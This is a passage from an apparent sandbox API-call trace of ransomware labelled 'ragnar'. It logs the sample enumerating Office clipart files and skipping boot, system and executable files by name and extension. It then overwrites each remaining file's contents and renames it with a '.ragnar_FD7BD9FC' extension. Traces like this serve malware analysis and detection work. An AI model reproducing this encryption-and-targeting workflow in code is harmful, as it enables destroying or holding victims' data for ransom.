nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.242] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.242] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.242] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.242] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.242] GetProcessHeap () returned 0x580000 [0084.242] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.242] CloseHandle (hObject=0xf4) returned 1 [0084.242] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" [0084.242] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.ragnar_FD7BD9FC" [0084.242] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.243] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107350.WMF", cAlternateFileName="")) returned 1 [0084.243] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.243] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107350.WMF" | out: lpString1="J0107350.WMF") returned="J0107350.WMF" [0084.243] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned=".WMF" [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="autorun.inf") returned 1 [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="boot.ini") returned 1 [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="bootfont.bin") returned 1 [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="bootsect.bak") returned 1 [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="bootmgr") returned 1 [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="bootmgr.efi") returned 1 [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="bootmgfw.efi") returned 1 [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="desktop.ini") returned 1 [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="iconcache.db") returned 1 [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="ntldr") returned -1 [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="ntuser.dat") returned -1 [0084.243] lstrcmpiW (lpString1="J0107350.WMF", lpString2="ntuser.dat.log") returned -1 [0084.244] lstrcmpiW (lpString1="J0107350.WMF", lpString2="ntuser.ini") returned -1 [0084.244] lstrcmpiW (lpString1="J0107350.WMF", lpString2="thumbs.db") returned -1 [0084.244] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.244] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.244] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.244] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.244] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.244] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.244] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 0x20 [0084.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.245] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23672) returned 1 [0084.245] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5c6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.245] GetProcessHeap () returned 0x580000 [0084.245] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.245] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.246] VirtualAlloc (lpAddress=0x0, dwSize=0x5c78, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.247] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.247] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.247] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5c78, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5c78, lpOverlapped=0x0) returned 1 [0084.248] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.248] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5c78, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.248] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5c78, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5c78, lpOverlapped=0x0) returned 1 [0084.248] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5c78, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.248] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.249] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5c78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.249] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.249] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.249] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.249] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.249] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.249] GetProcessHeap () returned 0x580000 [0084.249] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.249] CloseHandle (hObject=0xf4) returned 1 [0084.249] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" [0084.249] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.ragnar_FD7BD9FC" [0084.249] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.250] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107358.WMF", cAlternateFileName="")) returned 1 [0084.250] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.250] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107358.WMF" | out: lpString1="J0107358.WMF") returned="J0107358.WMF" [0084.250] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned=".WMF" [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="autorun.inf") returned 1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="boot.ini") returned 1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="bootfont.bin") returned 1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="bootsect.bak") returned 1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="bootmgr") returned 1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="bootmgr.efi") returned 1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="bootmgfw.efi") returned 1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="desktop.ini") returned 1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="iconcache.db") returned 1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="ntldr") returned -1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="ntuser.dat") returned -1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="ntuser.dat.log") returned -1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="ntuser.ini") returned -1 [0084.250] lstrcmpiW (lpString1="J0107358.WMF", lpString2="thumbs.db") returned -1 [0084.250] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.250] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.250] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.250] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.251] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.251] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.251] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 0x20 [0084.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.251] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7964) returned 1 [0084.251] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f13, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.251] GetProcessHeap () returned 0x580000 [0084.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.251] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.253] VirtualAlloc (lpAddress=0x0, dwSize=0x1f1c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.253] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f1c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f1c, lpOverlapped=0x0) returned 1 [0084.254] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.254] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f1c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.254] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f1c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f1c, lpOverlapped=0x0) returned 1 [0084.254] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f1c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.254] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.254] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.254] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.254] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.255] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.255] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.255] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.255] GetProcessHeap () returned 0x580000 [0084.255] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.255] CloseHandle (hObject=0xf4) returned 1 [0084.255] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" [0084.255] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.ragnar_FD7BD9FC" [0084.255] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.255] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107364.WMF", cAlternateFileName="")) returned 1 [0084.256] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.256] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107364.WMF" | out: lpString1="J0107364.WMF") returned="J0107364.WMF" [0084.256] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned=".WMF" [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="autorun.inf") returned 1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="boot.ini") returned 1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="bootfont.bin") returned 1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="bootsect.bak") returned 1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="bootmgr") returned 1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="bootmgr.efi") returned 1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="bootmgfw.efi") returned 1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="desktop.ini") returned 1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="iconcache.db") returned 1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="ntldr") returned -1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="ntuser.dat") returned -1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="ntuser.dat.log") returned -1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="ntuser.ini") returned -1 [0084.256] lstrcmpiW (lpString1="J0107364.WMF", lpString2="thumbs.db") returned -1 [0084.256] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.256] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.256] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.256] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.256] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.256] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.256] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 0x20 [0084.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.257] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16588) returned 1 [0084.257] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.257] GetProcessHeap () returned 0x580000 [0084.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.257] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.259] VirtualAlloc (lpAddress=0x0, dwSize=0x40cc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.259] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x40cc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x40cc, lpOverlapped=0x0) returned 1 [0084.260] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.260] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.260] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x40cc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x40cc, lpOverlapped=0x0) returned 1 [0084.260] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.260] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.261] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.261] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.261] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.261] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.261] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.261] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 